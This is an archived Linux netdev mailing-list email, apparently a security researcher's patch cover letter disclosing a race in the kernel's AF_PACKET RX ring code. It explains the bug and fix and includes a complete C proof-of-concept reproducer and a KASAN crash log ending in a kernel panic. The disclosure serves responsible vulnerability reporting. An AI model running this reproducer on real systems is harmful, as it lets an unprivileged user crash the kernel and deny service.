From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from mail-pl1-f180.google.com (mail-pl1-f180.google.com [209.85.214.180]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id E36F53B7B76 for ; Wed, 29 Jul 2026 09:17:20 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=209.85.214.180 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1785316643; cv=none; b=vBubQR5nFR05JsYL9oitPbP+LvE56u1WvZ1YbUymvkJm+lWqXGLjCzxv3911Px0EvSdJ30HKAqmbekH8X6U6AIAN0LDGV0FtXw7HjJ6JSkQI4Cxxw8bbYhYeKJmwzucDiJhW4vUR1czOVhXWlkPKI1HN4zIGiEcirsoiCaPjCGU= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1785316643; c=relaxed/simple; bh=2/T9D5Ljfrb8DtytGyWPxBoId0G+4UNZ1+N9cWc7/yI=; h=From:To:Cc:Subject:Date:Message-ID:MIME-Version; b=GcLjGg0zSxucx95MrB+1BKJ2VD8J8wvZik9WvtuuO/mI82ugww7m3YOBW+NROo9SrcXENmB8M8u6FdpDIemzfCQtYnFSRWpVL5VcKvbj0e8va9OZ58Dt1DIEiYqnXyGiJUS2qgZIyvwvFGdsC4bZGs85mnehV+qAScUwCCZSS8c= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai; spf=pass smtp.mailfrom=nebusec.ai; dkim=pass (2048-bit key) header.d=nebusec.ai header.i=@nebusec.ai header.b=srrzRElc; arc=none smtp.client-ip=209.85.214.180 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=nebusec.ai header.i=@nebusec.ai header.b="srrzRElc" Received: by mail-pl1-f180.google.com with SMTP id d9443c01a7336-2cacb8416a1so7833485ad.1 for ; Wed, 29 Jul 2026 02:17:20 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nebusec.ai; s=google; t=1785316639; x=1785921439; darn=vger.kernel.org; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:from:to:cc:subject:date:message-id:reply-to:content-type; bh=vPWlxsxjcD16txmnv59+cx24A6JITEKSIjXiDK1hhw8=; b=srrzRElch53sQRv11z49141FpklwugtpVu/+DjsD8W0rPz5OwBwaSkc61WxKQBNThC 32cY/NPUJ1CrvpDoJo8DonrILi7NLSZgpfNd+31p4fLshRkO7C4VD1SZkRxrO/+radhP FsOkviUwJjs+5UYM3Ic4+M2wqYXCa9rP5Jt6hGoxGL5y9da43JylVux9V1jsOshipMh7 qCTcISdTkVTvfNjRFE1arti4RGUFU3YBPd5XABYevX0dfOLO+wxu3BQpvrqGdR78Wiev kxireiYoepOaDhZQaZojfdW9ViHukfVuLvnVjvl8ygUF/auwOWGigQZFA4WfmOA+xt1A Gk3A== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1785316639; x=1785921439; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date :message-id:reply-to:content-type; bh=vPWlxsxjcD16txmnv59+cx24A6JITEKSIjXiDK1hhw8=; b=ntU1T7T8ocr9Jzz0YbbJah2JXV9f7MA3kDGgsJjjkKxe+6F85pz59l+XZfb9jSdDCI xL8mtAp9dj8fcjII+ggCSq7W5AQuKMp9mrk1LcVkwlo/4lfr8lQBz0YuwjTI8qe8QfaT +GUXtt3VglICiHRBpeeyJbb31frdUm65Pye7Ojujl/gC0zbDK4E2H1iJZtqw3+1DPT+8 KqZhd7WJcFpZHFhiKLSPHKsgY0HbSx4YgLsyzQJAZFoufh1VZhsLKMRRvVO7vZn4SKvj GZ44LaST9vFBo8aq265wmaJLdxEXaPq7aI2DiwMC6GV8hfKjic+gtb1OSBrNrtLPfyAM 5W8g== X-Gm-Message-State: AOJu0YzLkNrXsMTowFo1wDYURiwWUxRNmKosD8/wvWkgD9FOsViAH7KX ejNLFJJfQDSCxVhJOLBPHumKAYI3AiDIPf7NqU6GzHoqWl1JHP4ir6/GNueOvtuOs0UDN45EwRO gGo1spmKQU9BiFg== X-Gm-Gg: AR+sD10PZpRU5gSLiWP5nHUknnQiS+wLpCx8WE/2GENprZzXnSa7Zm4bZdkyuG8aAsh +eGvhGa7PNxFljjostTT5HaO9m07tC5+y6TiQqlg+VFQ9kpTjn6ne7Q+KlwLsni2VeeKA/s1dCo 0NSmt0ia5qTi/uzlxXCnhbKNKrqqQLlwjMdhv73jzg+zAmmHxB240xyH+VWjhw3qt7GWH16s97k ocuoGOliwCVr5HjKx47WiEjEh3PTbBXde1yRY6DpDrh9ob3jgst2fD1Hp02DN3oQTPl2LI3T35U I7uqDfNrQ1v8BXWqTy9hhPObF71JKWxl31IUFMrjUumBdF7F5WOi8d0Mz19jW7r0RoFrhPJigvd vrlClyd5FHyfVl5iY8hRJ05C4TqAKcEwxpjn6XPXw4+iQVaMTnVUWVsS/ua5y9UkDABNrsOCQ7U wY/4c6l3gIHYTaU4qQROEKjSKXCbVs4eCaVvBEsVK27+TTSY3XMUoC2Ren+AwsXT0T7SV+OQ4C X-Received: by 2002:a17:903:2f0d:b0:2cf:b68a:340 with SMTP id d9443c01a7336-2d015abe547mr70173195ad.10.1785316639117; Wed, 29 Jul 2026 02:17:19 -0700 (PDT) Received: from localhost.localdomain ([115.192.250.185]) by smtp.gmail.com with ESMTPSA id d9443c01a7336-2d022a15885sm8390685ad.15.2026.07.29.02.17.16 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 29 Jul 2026 02:17:18 -0700 (PDT) From: Zihan Xi To: netdev@vger.kernel.org Cc: edumazet@google.com, pabeni@redhat.com, horms@kernel.org, vega@nebusec.ai, zihanx@nebusec.ai Subject: [PATCH net v3 0/1] packet: fix stale ring mode race Date: Wed, 29 Jul 2026 09:16:52 +0000 Message-ID: X-Mailer: git-send-email 2.47.3 Precedence: bulk X-Mailing-List: netdev@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Hi Linux kernel maintainers, We found and validated an issue in net/packet/af_packet.c. The bug is reachable by a non-root user via user and net namespace, with CAP_NET_RAW in the target network namespace, through PACKET_RX_RING reconfiguration on an AF_PACKET socket. We've tested it, and it should not affect any other functionality. We will provide detailed information about the bug in this email, along with a PoC to trigger it. ---- details below ---- Bug details: packet_set_ring() swaps or clears po->rx_ring.pg_vec and related RX ring state while holding sk->sk_receive_queue.lock. Before this patch, it published the receive mode by updating po->prot_hook.func only after dropping that queue lock. packet_poll() and packet_recvmsg() may call packet_rcv_try_clear_pressure(), which reaches __packet_rcv_has_room(). That helper decides whether to use the tpacket ring helpers solely from po->prot_hook.func. A concurrent poll or recvmsg path can therefore observe a stale tpacket_rcv value after the RX ring has already been cleared. For TPACKET_V1/V2 this can drive packet_lookup_frame() with rb->pg_vec == NULL; for TPACKET_V3, stale block queue metadata may be used after the old ring is released. Fix this by moving the existing receive hook assignment into the same sk_receive_queue.lock section as the ring state update. The assignment is otherwise unchanged, including on TX ring reconfiguration, to avoid adding behavior changes that are not required for the fix. packet_recvmsg() only takes the queue lock after observing PACKET_SOCK_PRESSURE. If the flag is clear and the socket has moved away from tpacket_rcv, packet_set_ring() has already detached the socket and waited for synchronize_net(), so no new packet input can set the flag again. packet_poll() already holds sk_receive_queue.lock, so it uses the unlocked helper directly. The pressure-clearing trigger used by this reproducer was introduced by commit 2ccdbaa6d55b ("packet: rollover lock contention avoidance"), which added owner-side pressure clearing from packet_recvmsg() and packet_poll(). Therefore the Fixes tag points to 2ccdbaa6d55b. Reproducer: gcc -O2 -static -o poc poc.c unshare -Urn ./poc We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN poc.c------ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include static volatile sig_atomic_t stop_flag; static size_t ring_block_size; static size_t ring_frame_size; static size_t send_len = 2048; static void die(const char *what) { perror(what); exit(1); } static long gettid_wrap(void) { return syscall(SYS_gettid); } static void pin_to_cpu(int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) != 0) perror("sched_setaffinity"); } static void set_nonblock(int fd) { int flags = fcntl(fd, F_GETFL, 0); if (flags < 0) die("fcntl(F_GETFL)"); if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) != 0) die("fcntl(F_SETFL)"); } static int make_packet_socket(int ifindex, int fanout_arg, bool with_ring) { int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP)); int version = TPACKET_V1; int copy_thresh = 1; struct sockaddr_ll sll = { .sll_family = AF_PACKET, .sll_protocol = htons(ETH_P_IP), .sll_ifindex = ifindex, }; if (fd < 0) die("socket(AF_PACKET)"); set_nonblock(fd); if (setsockopt(fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) != 0) die("setsockopt(PACKET_VERSION)"); if (setsockopt(fd, SOL_PACKET, PACKET_COPY_THRESH, ©_thresh, sizeof(copy_thresh)) != 0) die("setsockopt(PACKET_COPY_THRESH)"); if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) != 0) die("bind(AF_PACKET)"); if (setsockopt(fd, SOL_PACKET, PACKET_FANOUT, &fanout_arg, sizeof(fanout_arg)) != 0) die("setsockopt(PACKET_FANOUT)"); if (with_ring) { struct tpacket_req req = { .tp_block_size = ring_block_size, .tp_block_nr = 1, .tp_frame_size = ring_frame_size, .tp_frame_nr = ring_block_size / ring_frame_size, }; if (setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)) != 0) die("setsockopt(PACKET_RX_RING create)"); } return fd; } static void destroy_ring(int fd) { struct tpacket_req req = {0}; if (setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)) != 0) die("setsockopt(PACKET_RX_RING destroy)"); } static void create_ring(int fd) { struct tpacket_req req = { .tp_block_size = ring_block_size, .tp_block_nr = 1, .tp_frame_size = ring_frame_size, .tp_frame_nr = ring_block_size / ring_frame_size, }; if (setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)) != 0) die("setsockopt(PACKET_RX_RING recreate)"); } static int make_udp_pair(void) { int fd = socket(AF_INET, SOCK_DGRAM, 0); struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(31337), .sin_addr.s_addr = htonl(INADDR_LOOPBACK), }; int one = 1; if (fd < 0) die("socket(AF_INET)"); if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) != 0) die("setsockopt(SO_REUSEADDR)"); if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) != 0) die("bind(AF_INET)"); set_nonblock(fd); return fd; } struct thread_args { int target_fd; int mirror_fd; int sink_fd; }; static void *poll_thread(void *arg) { struct thread_args *args = arg; struct pollfd pfd = { .fd = args->target_fd, .events = POLLIN | POLLERR, }; pin_to_cpu(0); printf("[*] poll thread tid=%ld\n", gettid_wrap()); fflush(stdout); while (!stop_flag) { (void)poll(&pfd, 1, 0); } return NULL; } static void *recv_thread(void *arg) { struct thread_args *args = arg; char buf[65536]; unsigned long iters = 0; pin_to_cpu(1); printf("[*] recv thread tid=%ld\n", gettid_wrap()); fflush(stdout); while (!stop_flag) { ssize_t n = recv(args->target_fd, buf, sizeof(buf), 0); if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK && errno != EINTR) die("recv(packet target)"); if ((++iters & 0xfffffUL) == 0) { printf("[*] recv iterations=%lu\n", iters); fflush(stdout); } } return NULL; } static void *reconfig_thread(void *arg) { struct thread_args *args = arg; unsigned long iters = 0; pin_to_cpu(1); printf("[*] reconfig thread tid=%ld\n", gettid_wrap()); fflush(stdout); while (!stop_flag) { destroy_ring(args->target_fd); create_ring(args->target_fd); if ((++iters & 0xfffffUL) == 0) { printf("[*] reconfig iterations=%lu\n", iters); fflush(stdout); } } return NULL; } static void *udp_sink_thread(void *arg) { struct thread_args *args = arg; char buf[65536]; pin_to_cpu(2); printf("[*] sink thread tid=%ld\n", gettid_wrap()); fflush(stdout); while (!stop_flag) { ssize_t n = recv(args->sink_fd, buf, sizeof(buf), 0); if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK && errno != EINTR) die("recv(udp sink)"); } return NULL; } static void *udp_sender_thread(void *arg) { struct thread_args *args = arg; int fd = socket(AF_INET, SOCK_DGRAM, 0); struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(31337), .sin_addr.s_addr = htonl(INADDR_LOOPBACK), }; char *buf; unsigned long iters = 0; if (fd < 0) die("socket(AF_INET sender)"); buf = malloc(send_len); if (!buf) die("malloc(send buffer)"); pin_to_cpu(3); memset(buf, 'A', send_len); printf("[*] sender thread tid=%ld\n", gettid_wrap()); fflush(stdout); while (!stop_flag) { char drain[65536]; ssize_t n = sendto(fd, buf, send_len, 0, (struct sockaddr *)&addr, sizeof(addr)); if (n < 0 && errno != EINTR) die("sendto(loopback)"); for (;;) { n = recv(args->sink_fd, drain, sizeof(drain), 0); if (n < 0) { if (errno == EAGAIN || errno == EWOULDBLOCK || errno == EINTR) break; die("recv(loopback sink)"); } } if ((++iters & 0xfffffUL) == 0) { printf("[*] send iterations=%lu\n", iters); fflush(stdout); } } close(fd); return NULL; } int main(void) { const int ifindex = if_nametoindex("lo"); const int fanout_id = 0x2345; const int fanout_arg = fanout_id | ((PACKET_FANOUT_LB | PACKET_FANOUT_FLAG_ROLLOVER) << 16); struct thread_args args; pthread_t poller; pthread_t receiver; pthread_t reconfig; pthread_t sender; ring_block_size = getpagesize(); ring_frame_size = 128; if (!ifindex) { errno = ENODEV; die("if_nametoindex(lo)"); } printf("[*] lo ifindex=%d\n", ifindex); fflush(stdout); args.sink_fd = make_udp_pair(); args.target_fd = make_packet_socket(ifindex, fanout_arg, true); args.mirror_fd = make_packet_socket(ifindex, fanout_arg, false); printf("[*] target packet fd=%d\n", args.target_fd); printf("[*] mirror packet fd=%d\n", args.mirror_fd); printf("[*] fanout arg=0x%x\n", fanout_arg); printf("[*] ring: block=%zu frame=%zu frames=%zu send_len=%zu\n", ring_block_size, ring_frame_size, ring_block_size / ring_frame_size, send_len); fflush(stdout); if (pthread_create(&sender, NULL, udp_sender_thread, &args) != 0) die("pthread_create(sender)"); sleep(1); printf("[*] starting poll/reconfigure race\n"); fflush(stdout); if (pthread_create(&receiver, NULL, recv_thread, &args) != 0) die("pthread_create(receiver)"); if (pthread_create(&poller, NULL, poll_thread, &args) != 0) die("pthread_create(poller)"); if (pthread_create(&reconfig, NULL, reconfig_thread, &args) != 0) die("pthread_create(reconfig)"); for (;;) pause(); return 0; } ------END poc.c-------- ----BEGIN crash log---- [ 1250.041340][T10008] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] SMP KASAN NOPTI [ 1250.042310][T10008] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] [ 1250.042864][T10008] CPU: 0 UID: 0 PID: 10008 Comm: poc Not tainted 7.1.0-rc1 #2 PREEMPT(full) [ 1250.043451][T10008] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 1250.044145][T10008] RIP: 0010:packet_lookup_frame.isra.0+0x33/0x1c0 [ 1250.044597][T10008] Code: c0 55 89 cd 53 48 89 fb 48 89 f7 89 d6 31 d2 f7 f6 48 83 ec 10 4c 8d 24 c7 48 b8 00 00 00 00 00 fc ff df 4c 89 e1 48 c1 e9 03 <80> 3c 01 00 0f 85 30 01 00 00 89 d0 0f af c5 49 03 04 24 48 8d bb [ 1250.045881][T10008] RSP: 0018:ffa000001366f7f8 EFLAGS: 00010256 [ 1250.046289][T10008] RAX: dffffc0000000000 RBX: ff11000070c74000 RCX: 0000000000000000 [ 1250.046801][T10008] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000000 [ 1250.047319][T10008] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 [ 1250.047830][T10008] R10: ff11000070c7489f R11: 000000000000083b R12: 0000000000000000 [ 1250.048347][T10008] R13: ff11000070c7459c R14: ff11000070c74590 R15: ff11000070c74588 [ 1250.048865][T10008] FS: 00007f395cc1e6c0(0000) GS:ff11000184acf000(0000) knlGS:0000000000000000 [ 1250.049451][T10008] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1250.049878][T10008] CR2: 00007ffda7f5be2c CR3: 000000002307f000 CR4: 0000000000751ef0 [ 1250.050405][T10008] PKRU: 55555554 [ 1250.050642][T10008] Call Trace: [ 1250.050860][T10008] [ 1250.051069][T10008] __packet_rcv_has_room+0x271/0x6b0 [ 1250.051415][T10008] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1250.051792][T10008] ? __pfx_packet_poll+0x10/0x10 [ 1250.052124][T10008] packet_rcv_try_clear_pressure+0x51/0x80 [ 1250.052508][T10008] packet_poll+0x1b5/0x500 [ 1250.052803][T10008] sock_poll+0x134/0x490 [ 1250.053115][T10008] do_sys_poll+0x507/0xbf0 [ 1250.053424][T10008] ? __pfx_do_sys_poll+0x10/0x10 [ 1250.053765][T10008] ? __lock_acquire+0x45c/0x25f0 [ 1250.054140][T10008] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1250.054511][T10008] ? do_raw_spin_lock+0x12d/0x270 [ 1250.054844][T10008] ? __pfx_do_raw_spin_lock+0x10/0x10 [ 1250.055203][T10008] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1250.055570][T10008] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1250.055954][T10008] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1250.056325][T10008] ? sched_clock_cpu+0x6c/0x530 [ 1250.056656][T10008] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1250.057030][T10008] __x64_sys_poll+0x181/0x3e0 [ 1250.057337][T10008] ? __pfx___x64_sys_poll+0x10/0x10 [ 1250.057679][T10008] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1250.058059][T10008] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1250.058426][T10008] ? rcu_is_watching+0x12/0xc0 [ 1250.058745][T10008] do_syscall_64+0x116/0xf80 [ 1250.059069][T10008] ? irqentry_exit+0x117/0x830 [ 1250.059392][T10008] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 1250.059779][T10008] RIP: 0033:0x7f395dcbe9ee [ 1250.060081][T10008] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08 [ 1250.061315][T10008] RSP: 002b:00007f395cc1de18 EFLAGS: 00000246 ORIG_RAX: 0000000000000007 [ 1250.061858][T10008] RAX: ffffffffffffffda RBX: 00007f395cc1e6c0 RCX: 00007f395dcbe9ee [ 1250.062379][T10008] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 00007f395cc1de80 [ 1250.062902][T10008] RBP: ffffffffffffff00 R08: 0000000000000000 R09: 0000000000000000 [ 1250.063427][T10008] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000021 [ 1250.063944][T10008] R13: 0000000000000000 R14: 00007fff4bd03900 R15: 00007f395c41e000 [ 1250.064494][T10008] [ 1250.064693][T10008] Modules linked in: [ 1250.065041][T10008] ---[ end trace 0000000000000000 ]--- [ 1250.065428][T10008] RIP: 0010:packet_lookup_frame.isra.0+0x33/0x1c0 [ 1250.065955][T10008] Code: c0 55 89 cd 53 48 89 fb 48 89 f7 89 d6 31 d2 f7 f6 48 83 ec 10 4c 8d 24 c7 48 b8 00 00 00 00 00 fc ff df 4c 89 e1 48 c1 e9 03 <80> 3c 01 00 0f 85 30 01 00 00 89 d0 0f af c5 49 03 04 24 48 8d bb [ 1250.067510][T10008] RSP: 0018:ffa000001366f7f8 EFLAGS: 00010256 [ 1250.067935][T10008] RAX: dffffc0000000000 RBX: ff11000070c74000 RCX: 0000000000000000 [ 1250.068553][T10008] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000000 [ 1250.069271][T10008] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 [ 1250.069879][T10008] R10: ff11000070c7489f R11: 000000000000083b R12: 0000000000000000 [ 1250.070540][T10008] R13: ff11000070c7459c R14: ff11000070c74590 R15: ff11000070c74588 [ 1250.071188][T10008] FS: 00007f395cc1e6c0(0000) GS:ff11000184acf000(0000) knlGS:0000000000000000 [ 1250.071991][T10008] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1250.072518][T10008] CR2: 00007ffda7f5be2c CR3: 000000002307f000 CR4: 0000000000751ef0 [ 1250.073215][T10008] PKRU: 55555554 [ 1250.073492][T10008] Kernel panic - not syncing: Fatal exception in interrupt [ 1250.074247][T10008] Kernel Offset: disabled [ 1250.074781][T10008] Rebooting in 86400 seconds.. -----END crash log----- The stack trace above is taken from the locally decoded crash log prepared with scripts/decode_stacktrace.sh. Best regards, Zihan Xi Zihan Xi (1): packet: synchronize pressure clearing with ring reconfiguration net/packet/af_packet.c | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) -- 2.43.0